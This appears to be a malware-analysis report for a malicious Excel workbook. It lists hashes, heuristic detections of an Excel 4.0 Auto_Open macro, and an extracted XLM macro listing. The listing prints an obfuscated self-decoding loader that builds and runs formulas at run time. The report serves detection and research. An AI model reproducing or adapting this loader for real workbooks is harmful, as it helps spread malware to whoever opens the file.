Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d872e155214f93aa…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:45:48 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 893ec00679c12304a938d2725deee34c SHA-1: c7ad69a05eebf9996896743c774a7143c646c986 SHA-256: d872e155214f93aaba6a4e03b7040c4dddae99ee45894fdc739977e5fd1ad13d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6600 bytes
SHA-256: 95f40ba2d3e09fe770e18bfd8023bb02db8003dba0cc6f17c56e7fc5ca5a577e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  MZoBOYX
' 0018     26 LABEL : Cell Value, String Constant - aTxRpeClyUY len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G156 
' 0018     21 LABEL : Cell Value, String Constant - bclhro len=0 
' 0018     21 LABEL : Cell Value, String Constant - EChrTK len=0 
' 0018     25 LABEL : Cell Value, String Constant - EmhWlmEbQI len=0 
' 0018     20 LABEL : Cell Value, String Constant - FeDls len=0 
' 0018     25 LABEL : Cell Value, String Constant - hXthUrzKcZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - LKzWQk len=0 
' 0018     25 LABEL : Cell Value, String Constant - nCYRTOVNvg len=0 
' 0018     27 LABEL : Cell Value, String Constant - OHJyARgSuJMD len=0 
' 0018     24 LABEL : Cell Value, String Constant - qORwxlHcC len=0 
' 0018     27 LABEL : Cell Value, String Constant - rICeOYhHpbxd len=0 
' 0018     24 LABEL : Cell Value, String Constant - rWOWUahJi len=0 
' 0018     24 LABEL : Cell Value, String Constant - SyXDlcfbk len=0 
' 0018     20 LABEL : Cell Value, String Constant - TelMd len=0 
' 0018     27 LABEL : Cell Value, String Constant - ufSKyRYxjroH len=0 
' 0018     27 LABEL : Cell Value, String Constant - vfqiwvFPSlKb len=0 
' 0018     21 LABEL : Cell Value, String Constant - xhXEMS len=0 
' 0018     27 LABEL : Cell Value, String Constant - xuFmzdBDBGKZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - zdZvJbVm len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZKLiDksZVXo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  MZoBOYX,G57,"SET.NAME("SyXDlcfbk",VALUE("0"))",""
'  MZoBOYX,G61,"SET.NAME("ZKLiDksZVXo",SyXDlcfbk)",""
'  MZoBOYX,G66,"SET.NAME("aTxRpeClyUY",SyXDlcfbk)",""
'  MZoBOYX,G70,"SET.NAME("nCYRTOVNvg",COUNTA(EChrTK))",""
'  MZoBOYX,G74,"SET.NAME("EmhWlmEbQI",COUNTA(bclhro))",""
'  MZoBOYX,G77,[],""
'  MZoBOYX,G79,"SET.NAME("ufSKyRYxjroH","")",""
'  MZoBOYX,G81,"ZKLiDksZVXo",""
'  MZoBOYX,G85,"SET.NAME("xuFmzdBDBGKZ",HLOOKUP("*",EChrTK,ZKLiDksZVXo,FALSE))",""
'  MZoBOYX,G87,"zdZvJbVm",""
'  MZoBOYX,G92,"SET.NAME("OHJyARgSuJMD",SyXDlcfbk)",""
'  MZoBOYX,G97,[],""
'  MZoBOYX,G102,"OHJyARgSuJMD",""
'  MZoBOYX,G107,"LKzWQk",""
'  MZoBOYX,G111,"TelMd",""
'  MZoBOYX,G116,"rWOWUahJi",""
'  MZoBOYX,G118,"SET.NAME("hXthUrzKcZ",VALUE(HLOOKUP("*",bclhro,rWOWUahJi,FALSE)))",""
'  MZoBOYX,G123,"qORwxlHcC",""
'  MZoBOYX,G125,"ufSKyRYxjroH",""
'  MZoBOYX,G129,"aTxRpeClyUY",""
'  MZoBOYX,G132,NEXT(),""
'  MZoBOYX,G137,"rICeOYhHpbxd",""
'  MZoBOYX,G142,"SET.NAME("f",INT(T(FORMULA(T(ufSKyRYxjroH)&"",""&T(rICeOYhHpbxd)))))",""
'  MZoBOYX,G146,"vfqiwvFPSlKb",""
'  MZoBOYX,G150,NEXT(),""
'  MZoBOYX,G153,RETURN(),""
'  MZoBOYX,G180,"SET.NAME("xhXEMS",G57)",""
'  MZoBOYX,G183,"EChrTK",""
'  MZoBOYX,G186,"SET.NAME("bclhro",R95C13)",""
'  MZoBOYX,G189,"SET.NAME("vfqiwvFPSlKb",197)",""
'  MZoBOYX,G191,"SET.NAME("FeDls",7)",""
'  MZoBOYX,G196,xhXEMS(),""
'  MZoBOYX,G197,HALT(),""

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